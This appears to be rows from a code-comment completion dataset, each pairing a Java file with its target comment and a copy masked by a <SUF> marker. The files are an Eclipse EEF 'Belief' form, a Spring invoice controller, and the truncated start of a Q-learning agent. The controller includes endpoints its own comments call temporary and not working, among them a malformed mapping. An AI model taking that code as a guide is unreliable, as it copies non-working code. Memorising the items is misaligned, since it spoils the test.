propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.description, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, description.getText()));
}
}
});
EditingUtils.setID(description, AmlViewsRepository.Belief.Properties.description);
EditingUtils.setEEFtype(description, "eef::Text"); //$NON-NLS-1$
FormUtils.createHelpButton(widgetFactory, parent, propertiesEditionComponent.getHelpContent(AmlViewsRepository.Belief.Properties.description, AmlViewsRepository.FORM_KIND), null); //$NON-NLS-1$
return parent;
}
protected Composite createLabelText(FormToolkit widgetFactory, Composite parent) {
FormUtils.createPartLabel(widgetFactory, parent, AmlMessages.BeliefPropertiesEditionPart_LabelLabel, propertiesEditionComponent.isRequired(AmlViewsRepository.Belief.Properties.label, AmlViewsRepository.FORM_KIND));
label = widgetFactory.createText(parent, ""); //$NON-NLS-1$
label.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER);
widgetFactory.paintBordersFor(parent);
GridData labelData = new GridData(GridData.FILL_HORIZONTAL);
label.setLayoutData(labelData);
label.addFocusListener(new FocusAdapter() {
/**
* @see org.eclipse.swt.events.FocusAdapter#focusLost(org.eclipse.swt.events.FocusEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void focusLost(FocusEvent e) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.label, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, label.getText()));
}
});
label.addKeyListener(new KeyAdapter() {
/**
* @see org.eclipse.swt.events.KeyAdapter#keyPressed(org.eclipse.swt.events.KeyEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void keyPressed(KeyEvent e) {
if (e.character == SWT.CR) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.label, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, label.getText()));
}
}
});
EditingUtils.setID(label, AmlViewsRepository.Belief.Properties.label);
EditingUtils.setEEFtype(label, "eef::Text"); //$NON-NLS-1$
FormUtils.createHelpButton(widgetFactory, parent, propertiesEditionComponent.getHelpContent(AmlViewsRepository.Belief.Properties.label, AmlViewsRepository.FORM_KIND), null); //$NON-NLS-1$
return parent;
}
protected Composite createOrdinalText(FormToolkit widgetFactory, Composite parent) {
FormUtils.createPartLabel(widgetFactory, parent, AmlMessages.BeliefPropertiesEditionPart_OrdinalLabel, propertiesEditionComponent.isRequired(AmlViewsRepository.Belief.Properties.ordinal, AmlViewsRepository.FORM_KIND));
ordinal = widgetFactory.createText(parent, ""); //$NON-NLS-1$
ordinal.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER);
widgetFactory.paintBordersFor(parent);
GridData ordinalData = new GridData(GridData.FILL_HORIZONTAL);
ordinal.setLayoutData(ordinalData);
ordinal.addFocusListener(new FocusAdapter() {
/**
* @see org.eclipse.swt.events.FocusAdapter#focusLost(org.eclipse.swt.events.FocusEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void focusLost(FocusEvent e) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.ordinal, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, ordinal.getText()));
}
});
ordinal.addKeyListener(new KeyAdapter() {
/**
* @see org.eclipse.swt.events.KeyAdapter#keyPressed(org.eclipse.swt.events.KeyEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void keyPressed(KeyEvent e) {
if (e.character == SWT.CR) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.ordinal, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, ordinal.getText()));
}
}
});
EditingUtils.setID(ordinal, AmlViewsRepository.Belief.Properties.ordinal);
EditingUtils.setEEFtype(ordinal, "eef::Text"); //$NON-NLS-1$
FormUtils.createHelpButton(widgetFactory, parent, propertiesEditionComponent.getHelpContent(AmlViewsRepository.Belief.Properties.ordinal, AmlViewsRepository.FORM_KIND), null); //$NON-NLS-1$
return parent;
}
protected Composite createSymbolText(FormToolkit widgetFactory, Composite parent) {
FormUtils.createPartLabel(widgetFactory, parent, AmlMessages.BeliefPropertiesEditionPart_SymbolLabel, propertiesEditionComponent.isRequired(AmlViewsRepository.Belief.Properties.symbol, AmlViewsRepository.FORM_KIND));
symbol = widgetFactory.createText(parent, ""); //$NON-NLS-1$
symbol.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER);
widgetFactory.paintBordersFor(parent);
GridData symbolData = new GridData(GridData.FILL_HORIZONTAL);
symbol.setLayoutData(symbolData);
symbol.addFocusListener(new FocusAdapter() {
/**
* @see org.eclipse.swt.events.FocusAdapter#focusLost(org.eclipse.swt.events.FocusEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void focusLost(FocusEvent e) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.symbol, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, symbol.getText()));
}
});
symbol.addKeyListener(new KeyAdapter() {
/**
* @see org.eclipse.swt.events.KeyAdapter#keyPressed(org.eclipse.swt.events.KeyEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void keyPressed(KeyEvent e) {
if (e.character == SWT.CR) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.symbol, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, symbol.getText()));
}
}
});
EditingUtils.setID(symbol, AmlViewsRepository.Belief.Properties.symbol);
EditingUtils.setEEFtype(symbol, "eef::Text"); //$NON-NLS-1$
FormUtils.createHelpButton(widgetFactory, parent, propertiesEditionComponent.getHelpContent(AmlViewsRepository.Belief.Properties.symbol, AmlViewsRepository.FORM_KIND), null); //$NON-NLS-1$
return parent;
}
/**
* {@inheritDoc}
*
* @see org.eclipse.emf.eef.runtime.api.notify.IPropertiesEditionListener#firePropertiesChanged(org.eclipse.emf.eef.runtime.api.notify.IPropertiesEditionEvent)
*
*/
public void firePropertiesChanged(IPropertiesEditionEvent event) {
// Start of user code for tab synchronization
// End of user code
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#getDescription()
*
*/
public String getDescription() {
return description.getText();
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#setDescription(String newValue)
*
*/
public void setDescription(String newValue) {
if (newValue != null) {
description.setText(newValue);
} else {
description.setText(""); //$NON-NLS-1$
}
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#getLabel()
*
*/
public String getLabel() {
return label.getText();
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#setLabel(String newValue)
*
*/
public void setLabel(String newValue) {
if (newValue != null) {
label.setText(newValue);
} else {
label.setText(""); //$NON-NLS-1$
}
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#getOrdinal()
*
*/
public String getOrdinal() {
return ordinal.getText();
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#setOrdinal(String newValue)
*
*/
public void setOrdinal(String newValue) {
if (newValue != null) {
ordinal.setText(newValue);
} else {
ordinal.setText(""); //$NON-NLS-1$
}
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#getSymbol()
*
*/
public String getSymbol() {
return symbol.getText();
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#setSymbol(String newValue)
*
*/
public void setSymbol(String newValue) {
if (newValue != null) {
symbol.setText(newValue);
} else {
symbol.setText(""); //$NON-NLS-1$
}
}
/**
* {@inheritDoc}
*
* @see org.eclipse.emf.eef.runtime.api.parts.IPropertiesEditionPart#getTitle()
*
*/
public String getTitle() {
return AmlMessages.Belief_Part_Title;
}
// Start of user code additional methods
// End of user code
}
| mrbcuda/CertWare | net.certware.argument.aml.edit/src-gen/net/certware/argument/aml/parts/forms/BeliefPropertiesEditionPartForm.java | 5,237 | /**
* @see org.eclipse.swt.events.KeyAdapter#keyPressed(org.eclipse.swt.events.KeyEvent)
*
*/ | block_comment | nl | /**
* Generated with Acceleo
*/
package net.certware.argument.aml.parts.forms;
// Start of user code for imports
import net.certware.argument.aml.parts.AmlViewsRepository;
import net.certware.argument.aml.parts.BeliefPropertiesEditionPart;
import net.certware.argument.aml.providers.AmlMessages;
import org.eclipse.emf.eef.runtime.api.component.IPropertiesEditionComponent;
import org.eclipse.emf.eef.runtime.api.notify.IPropertiesEditionEvent;
import org.eclipse.emf.eef.runtime.api.parts.IFormPropertiesEditionPart;
import org.eclipse.emf.eef.runtime.impl.notify.PropertiesEditionEvent;
import org.eclipse.emf.eef.runtime.impl.parts.CompositePropertiesEditionPart;
import org.eclipse.emf.eef.runtime.ui.parts.PartComposer;
import org.eclipse.emf.eef.runtime.ui.parts.sequence.BindingCompositionSequence;
import org.eclipse.emf.eef.runtime.ui.parts.sequence.CompositionSequence;
import org.eclipse.emf.eef.runtime.ui.parts.sequence.CompositionStep;
import org.eclipse.emf.eef.runtime.ui.utils.EditingUtils;
import org.eclipse.emf.eef.runtime.ui.widgets.FormUtils;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.FocusAdapter;
import org.eclipse.swt.events.FocusEvent;
import org.eclipse.swt.events.KeyAdapter;
import org.eclipse.swt.events.KeyEvent;
import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Text;
import org.eclipse.ui.forms.widgets.Form;
import org.eclipse.ui.forms.widgets.FormToolkit;
import org.eclipse.ui.forms.widgets.ScrolledForm;
import org.eclipse.ui.forms.widgets.Section;
// End of user code
/**
*
*
*/
public class BeliefPropertiesEditionPartForm extends CompositePropertiesEditionPart implements IFormPropertiesEditionPart, BeliefPropertiesEditionPart {
protected Text description;
protected Text label;
protected Text ordinal;
protected Text symbol;
/**
* Default constructor
* @param editionComponent the {@link IPropertiesEditionComponent} that manage this part
*
*/
public BeliefPropertiesEditionPartForm(IPropertiesEditionComponent editionComponent) {
super(editionComponent);
}
/**
* {@inheritDoc}
*
* @see org.eclipse.emf.eef.runtime.api.parts.IFormPropertiesEditionPart#
* createFigure(org.eclipse.swt.widgets.Composite, org.eclipse.ui.forms.widgets.FormToolkit)
*
*/
public Composite createFigure(final Composite parent, final FormToolkit widgetFactory) {
ScrolledForm scrolledForm = widgetFactory.createScrolledForm(parent);
Form form = scrolledForm.getForm();
view = form.getBody();
GridLayout layout = new GridLayout();
layout.numColumns = 3;
view.setLayout(layout);
createControls(widgetFactory, view);
return scrolledForm;
}
/**
* {@inheritDoc}
*
* @see org.eclipse.emf.eef.runtime.api.parts.IFormPropertiesEditionPart#
* createControls(org.eclipse.ui.forms.widgets.FormToolkit, org.eclipse.swt.widgets.Composite)
*
*/
public void createControls(final FormToolkit widgetFactory, Composite view) {
CompositionSequence beliefStep = new BindingCompositionSequence(propertiesEditionComponent);
CompositionStep propertiesStep = beliefStep.addStep(AmlViewsRepository.Belief.Properties.class);
propertiesStep.addStep(AmlViewsRepository.Belief.Properties.description);
propertiesStep.addStep(AmlViewsRepository.Belief.Properties.label);
propertiesStep.addStep(AmlViewsRepository.Belief.Properties.ordinal);
propertiesStep.addStep(AmlViewsRepository.Belief.Properties.symbol);
composer = new PartComposer(beliefStep) {
@Override
public Composite addToPart(Composite parent, Object key) {
if (key == AmlViewsRepository.Belief.Properties.class) {
return createPropertiesGroup(widgetFactory, parent);
}
if (key == AmlViewsRepository.Belief.Properties.description) {
return createDescriptionText(widgetFactory, parent);
}
if (key == AmlViewsRepository.Belief.Properties.label) {
return createLabelText(widgetFactory, parent);
}
if (key == AmlViewsRepository.Belief.Properties.ordinal) {
return createOrdinalText(widgetFactory, parent);
}
if (key == AmlViewsRepository.Belief.Properties.symbol) {
return createSymbolText(widgetFactory, parent);
}
return parent;
}
};
composer.compose(view);
}
/**
*
*/
protected Composite createPropertiesGroup(FormToolkit widgetFactory, final Composite parent) {
Section propertiesSection = widgetFactory.createSection(parent, Section.TITLE_BAR | Section.TWISTIE | Section.EXPANDED);
propertiesSection.setText(AmlMessages.BeliefPropertiesEditionPart_PropertiesGroupLabel);
GridData propertiesSectionData = new GridData(GridData.FILL_HORIZONTAL);
propertiesSectionData.horizontalSpan = 3;
propertiesSection.setLayoutData(propertiesSectionData);
Composite propertiesGroup = widgetFactory.createComposite(propertiesSection);
GridLayout propertiesGroupLayout = new GridLayout();
propertiesGroupLayout.numColumns = 3;
propertiesGroup.setLayout(propertiesGroupLayout);
propertiesSection.setClient(propertiesGroup);
return propertiesGroup;
}
protected Composite createDescriptionText(FormToolkit widgetFactory, Composite parent) {
FormUtils.createPartLabel(widgetFactory, parent, AmlMessages.BeliefPropertiesEditionPart_DescriptionLabel, propertiesEditionComponent.isRequired(AmlViewsRepository.Belief.Properties.description, AmlViewsRepository.FORM_KIND));
description = widgetFactory.createText(parent, ""); //$NON-NLS-1$
description.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER);
widgetFactory.paintBordersFor(parent);
GridData descriptionData = new GridData(GridData.FILL_HORIZONTAL);
description.setLayoutData(descriptionData);
description.addFocusListener(new FocusAdapter() {
/**
* @see org.eclipse.swt.events.FocusAdapter#focusLost(org.eclipse.swt.events.FocusEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void focusLost(FocusEvent e) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.description, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, description.getText()));
}
});
description.addKeyListener(new KeyAdapter() {
/**
* @see org.eclipse.swt.events.KeyAdapter#keyPressed(org.eclipse.swt.events.KeyEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void keyPressed(KeyEvent e) {
if (e.character == SWT.CR) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.description, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, description.getText()));
}
}
});
EditingUtils.setID(description, AmlViewsRepository.Belief.Properties.description);
EditingUtils.setEEFtype(description, "eef::Text"); //$NON-NLS-1$
FormUtils.createHelpButton(widgetFactory, parent, propertiesEditionComponent.getHelpContent(AmlViewsRepository.Belief.Properties.description, AmlViewsRepository.FORM_KIND), null); //$NON-NLS-1$
return parent;
}
protected Composite createLabelText(FormToolkit widgetFactory, Composite parent) {
FormUtils.createPartLabel(widgetFactory, parent, AmlMessages.BeliefPropertiesEditionPart_LabelLabel, propertiesEditionComponent.isRequired(AmlViewsRepository.Belief.Properties.label, AmlViewsRepository.FORM_KIND));
label = widgetFactory.createText(parent, ""); //$NON-NLS-1$
label.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER);
widgetFactory.paintBordersFor(parent);
GridData labelData = new GridData(GridData.FILL_HORIZONTAL);
label.setLayoutData(labelData);
label.addFocusListener(new FocusAdapter() {
/**
* @see org.eclipse.swt.events.FocusAdapter#focusLost(org.eclipse.swt.events.FocusEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void focusLost(FocusEvent e) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.label, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, label.getText()));
}
});
label.addKeyListener(new KeyAdapter() {
/**
* @see org.eclipse.swt.events.KeyAdapter#keyPressed(org.eclipse.swt.events.KeyEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void keyPressed(KeyEvent e) {
if (e.character == SWT.CR) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.label, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, label.getText()));
}
}
});
EditingUtils.setID(label, AmlViewsRepository.Belief.Properties.label);
EditingUtils.setEEFtype(label, "eef::Text"); //$NON-NLS-1$
FormUtils.createHelpButton(widgetFactory, parent, propertiesEditionComponent.getHelpContent(AmlViewsRepository.Belief.Properties.label, AmlViewsRepository.FORM_KIND), null); //$NON-NLS-1$
return parent;
}
protected Composite createOrdinalText(FormToolkit widgetFactory, Composite parent) {
FormUtils.createPartLabel(widgetFactory, parent, AmlMessages.BeliefPropertiesEditionPart_OrdinalLabel, propertiesEditionComponent.isRequired(AmlViewsRepository.Belief.Properties.ordinal, AmlViewsRepository.FORM_KIND));
ordinal = widgetFactory.createText(parent, ""); //$NON-NLS-1$
ordinal.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER);
widgetFactory.paintBordersFor(parent);
GridData ordinalData = new GridData(GridData.FILL_HORIZONTAL);
ordinal.setLayoutData(ordinalData);
ordinal.addFocusListener(new FocusAdapter() {
/**
* @see org.eclipse.swt.events.FocusAdapter#focusLost(org.eclipse.swt.events.FocusEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void focusLost(FocusEvent e) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.ordinal, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, ordinal.getText()));
}
});
ordinal.addKeyListener(new KeyAdapter() {
/**
* @see org.eclipse.swt.events.KeyAdapter#keyPressed(org.eclipse.swt.events.KeyEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void keyPressed(KeyEvent e) {
if (e.character == SWT.CR) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.ordinal, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, ordinal.getText()));
}
}
});
EditingUtils.setID(ordinal, AmlViewsRepository.Belief.Properties.ordinal);
EditingUtils.setEEFtype(ordinal, "eef::Text"); //$NON-NLS-1$
FormUtils.createHelpButton(widgetFactory, parent, propertiesEditionComponent.getHelpContent(AmlViewsRepository.Belief.Properties.ordinal, AmlViewsRepository.FORM_KIND), null); //$NON-NLS-1$
return parent;
}
protected Composite createSymbolText(FormToolkit widgetFactory, Composite parent) {
FormUtils.createPartLabel(widgetFactory, parent, AmlMessages.BeliefPropertiesEditionPart_SymbolLabel, propertiesEditionComponent.isRequired(AmlViewsRepository.Belief.Properties.symbol, AmlViewsRepository.FORM_KIND));
symbol = widgetFactory.createText(parent, ""); //$NON-NLS-1$
symbol.setData(FormToolkit.KEY_DRAW_BORDER, FormToolkit.TEXT_BORDER);
widgetFactory.paintBordersFor(parent);
GridData symbolData = new GridData(GridData.FILL_HORIZONTAL);
symbol.setLayoutData(symbolData);
symbol.addFocusListener(new FocusAdapter() {
/**
* @see org.eclipse.swt.events.FocusAdapter#focusLost(org.eclipse.swt.events.FocusEvent)
*
*/
@Override
@SuppressWarnings("synthetic-access")
public void focusLost(FocusEvent e) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.symbol, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, symbol.getText()));
}
});
symbol.addKeyListener(new KeyAdapter() {
/**
* @see org.eclipse.swt.events.KeyAdapter#keyPressed(org.eclipse.swt.events.KeyEvent)
<SUF>*/
@Override
@SuppressWarnings("synthetic-access")
public void keyPressed(KeyEvent e) {
if (e.character == SWT.CR) {
if (propertiesEditionComponent != null)
propertiesEditionComponent.firePropertiesChanged(new PropertiesEditionEvent(BeliefPropertiesEditionPartForm.this, AmlViewsRepository.Belief.Properties.symbol, PropertiesEditionEvent.COMMIT, PropertiesEditionEvent.SET, null, symbol.getText()));
}
}
});
EditingUtils.setID(symbol, AmlViewsRepository.Belief.Properties.symbol);
EditingUtils.setEEFtype(symbol, "eef::Text"); //$NON-NLS-1$
FormUtils.createHelpButton(widgetFactory, parent, propertiesEditionComponent.getHelpContent(AmlViewsRepository.Belief.Properties.symbol, AmlViewsRepository.FORM_KIND), null); //$NON-NLS-1$
return parent;
}
/**
* {@inheritDoc}
*
* @see org.eclipse.emf.eef.runtime.api.notify.IPropertiesEditionListener#firePropertiesChanged(org.eclipse.emf.eef.runtime.api.notify.IPropertiesEditionEvent)
*
*/
public void firePropertiesChanged(IPropertiesEditionEvent event) {
// Start of user code for tab synchronization
// End of user code
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#getDescription()
*
*/
public String getDescription() {
return description.getText();
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#setDescription(String newValue)
*
*/
public void setDescription(String newValue) {
if (newValue != null) {
description.setText(newValue);
} else {
description.setText(""); //$NON-NLS-1$
}
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#getLabel()
*
*/
public String getLabel() {
return label.getText();
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#setLabel(String newValue)
*
*/
public void setLabel(String newValue) {
if (newValue != null) {
label.setText(newValue);
} else {
label.setText(""); //$NON-NLS-1$
}
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#getOrdinal()
*
*/
public String getOrdinal() {
return ordinal.getText();
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#setOrdinal(String newValue)
*
*/
public void setOrdinal(String newValue) {
if (newValue != null) {
ordinal.setText(newValue);
} else {
ordinal.setText(""); //$NON-NLS-1$
}
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#getSymbol()
*
*/
public String getSymbol() {
return symbol.getText();
}
/**
* {@inheritDoc}
*
* @see net.certware.argument.aml.parts.BeliefPropertiesEditionPart#setSymbol(String newValue)
*
*/
public void setSymbol(String newValue) {
if (newValue != null) {
symbol.setText(newValue);
} else {
symbol.setText(""); //$NON-NLS-1$
}
}
/**
* {@inheritDoc}
*
* @see org.eclipse.emf.eef.runtime.api.parts.IPropertiesEditionPart#getTitle()
*
*/
public String getTitle() {
return AmlMessages.Belief_Part_Title;
}
// Start of user code additional methods
// End of user code
}
|
170297_1 | package com.molvenolakeresort.controllers.hotel;
import com.molvenolakeresort.models.hotel.Invoice;
import com.molvenolakeresort.repositories.hotel.InvoiceRepository;
import org.springframework.web.bind.annotation.*;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.List;
@RestController
@RequestMapping("api/invoice/")
public class InvoiceController {
private InvoiceRepository invoiceRepository;
public InvoiceController(InvoiceRepository invoiceRepository) {
this.invoiceRepository = invoiceRepository;
}
@RequestMapping(value = "all", method = RequestMethod.GET)
public List<Invoice> getAll() {
return this.invoiceRepository.findAll();
}
@RequestMapping(value = "add", method = RequestMethod.POST)
public void create(@RequestBody Invoice invoice) {
this.invoiceRepository.save(invoice);
}
@RequestMapping(value = "togglepaid/{billNumber}", method = RequestMethod.PUT)
public void togglePaid(@PathVariable String billNumber) {
for (Invoice invoice : this.invoiceRepository.findAll()) {
if (invoice.getBillNumber().equals(billNumber)) {
invoice.setPaid(!invoice.isPaid());
this.invoiceRepository.save(invoice);
}
}
}
// tussen deze en volgende comment zijn tijdelijk - overigens werken de laatste twee niet!
@RequestMapping(value = "{id}", method = RequestMethod.PUT)
public void change(@PathVariable long id, @RequestBody String origin) {
Invoice invoice = this.invoiceRepository.findById(id).get();
invoice.setOrigin(origin);
this.invoiceRepository.save(invoice);
}
@RequestMapping(value = "paid/{id2}", method = RequestMethod.PUT)
public void toggleWatched(@PathVariable long id2) {
Invoice invoice = this.invoiceRepository.getOne(id2);
invoice.setPaid(!invoice.isPaid());
this.invoiceRepository.save(invoice);
}
@RequestMapping(value = "{addAmount/id3}", method = RequestMethod.PUT)
public void setAmount(@PathVariable long id3, @RequestBody String amount) {
Invoice invoice = this.invoiceRepository.findById(id3).get();
invoice.getInvoiceLines();
this.invoiceRepository.save(invoice);
}
// tussen deze en voorgaande comment zijn tijdelijk ivm vullen h2database - overigens werken de laatste twee niet!
@RequestMapping(value = "delete/{billNumber}", method = RequestMethod.DELETE)
public void delete(@PathVariable String billNumber) {
for (Invoice invoice : this.invoiceRepository.findAll()) {
if (invoice.getBillNumber().equals(billNumber)) {
this.invoiceRepository.delete(invoice);
}
}
}
@RequestMapping(value = "get/{billNumber}", method = RequestMethod.GET)
public Iterable<Invoice> getInvoice(@PathVariable String billNumber) {
List<Invoice> invoices = new ArrayList<>();
for (Invoice invoice : this.invoiceRepository.findAll()) {
if (invoice.getBillNumber().equals(billNumber)) {
invoices.add(invoice);
}
}
return invoices;
}
}
| mrjink/molveno | src/main/java/com/molvenolakeresort/controllers/hotel/InvoiceController.java | 912 | // tussen deze en voorgaande comment zijn tijdelijk ivm vullen h2database - overigens werken de laatste twee niet! | line_comment | nl | package com.molvenolakeresort.controllers.hotel;
import com.molvenolakeresort.models.hotel.Invoice;
import com.molvenolakeresort.repositories.hotel.InvoiceRepository;
import org.springframework.web.bind.annotation.*;
import java.time.LocalDateTime;
import java.util.ArrayList;
import java.util.List;
@RestController
@RequestMapping("api/invoice/")
public class InvoiceController {
private InvoiceRepository invoiceRepository;
public InvoiceController(InvoiceRepository invoiceRepository) {
this.invoiceRepository = invoiceRepository;
}
@RequestMapping(value = "all", method = RequestMethod.GET)
public List<Invoice> getAll() {
return this.invoiceRepository.findAll();
}
@RequestMapping(value = "add", method = RequestMethod.POST)
public void create(@RequestBody Invoice invoice) {
this.invoiceRepository.save(invoice);
}
@RequestMapping(value = "togglepaid/{billNumber}", method = RequestMethod.PUT)
public void togglePaid(@PathVariable String billNumber) {
for (Invoice invoice : this.invoiceRepository.findAll()) {
if (invoice.getBillNumber().equals(billNumber)) {
invoice.setPaid(!invoice.isPaid());
this.invoiceRepository.save(invoice);
}
}
}
// tussen deze en volgende comment zijn tijdelijk - overigens werken de laatste twee niet!
@RequestMapping(value = "{id}", method = RequestMethod.PUT)
public void change(@PathVariable long id, @RequestBody String origin) {
Invoice invoice = this.invoiceRepository.findById(id).get();
invoice.setOrigin(origin);
this.invoiceRepository.save(invoice);
}
@RequestMapping(value = "paid/{id2}", method = RequestMethod.PUT)
public void toggleWatched(@PathVariable long id2) {
Invoice invoice = this.invoiceRepository.getOne(id2);
invoice.setPaid(!invoice.isPaid());
this.invoiceRepository.save(invoice);
}
@RequestMapping(value = "{addAmount/id3}", method = RequestMethod.PUT)
public void setAmount(@PathVariable long id3, @RequestBody String amount) {
Invoice invoice = this.invoiceRepository.findById(id3).get();
invoice.getInvoiceLines();
this.invoiceRepository.save(invoice);
}
// tussen deze<SUF>
@RequestMapping(value = "delete/{billNumber}", method = RequestMethod.DELETE)
public void delete(@PathVariable String billNumber) {
for (Invoice invoice : this.invoiceRepository.findAll()) {
if (invoice.getBillNumber().equals(billNumber)) {
this.invoiceRepository.delete(invoice);
}
}
}
@RequestMapping(value = "get/{billNumber}", method = RequestMethod.GET)
public Iterable<Invoice> getInvoice(@PathVariable String billNumber) {
List<Invoice> invoices = new ArrayList<>();
for (Invoice invoice : this.invoiceRepository.findAll()) {
if (invoice.getBillNumber().equals(billNumber)) {
invoices.add(invoice);
}
}
return invoices;
}
}
|
66764_0 | package qlearning;
import controllers.Heuristics.StateHeuristic;
import controllers.Heuristics.SimpleStateHeuristic;
import controllers.Heuristics.WinScoreHeuristic;
import core.game.StateObservation;
import core.game.Observation;
import core.player.AbstractPlayer;
import ontology.Types;
import tools.ElapsedCpuTimer;
import tools.Utils;
import tools.Vector2d;
import java.awt.*;
import java.util.HashMap;
import java.util.Random;
import java.util.concurrent.TimeoutException;
import java.util.ArrayList;
import java.util.HashSet;
import java.io.FileOutputStream;
import java.util.Iterator;
/**
* User: mrtndwrd
* Date: 13-01-2015
* @author Maarten de Waard
*/
public class Agent extends AbstractPlayer
{
/** Exploration depth for building q and v */
protected final int INIT_EXPLORATION_DEPTH = 30;
protected ArrayList<Option> possibleOptions;
/** Mapping from State, Option (as index from above options array) to
* expected Reward (value), the "Q table" */
protected DefaultHashMap<SerializableTuple<SimplifiedObservation, Option>, Double> q;
public static Random random;
/** Saves the last non-greedy option timestep */
protected boolean lastOptionGreedy = false;
/** The option that is currently being followed */
protected Option currentOption;
/** The previous score, assumes scores always start at 0 (so no games should
* be present that have a score that decreases over time and starts > 0 or
* something) */
protected double previousScore;
/** The previous state */
protected StateObservation previousState;
/** Default value for q */
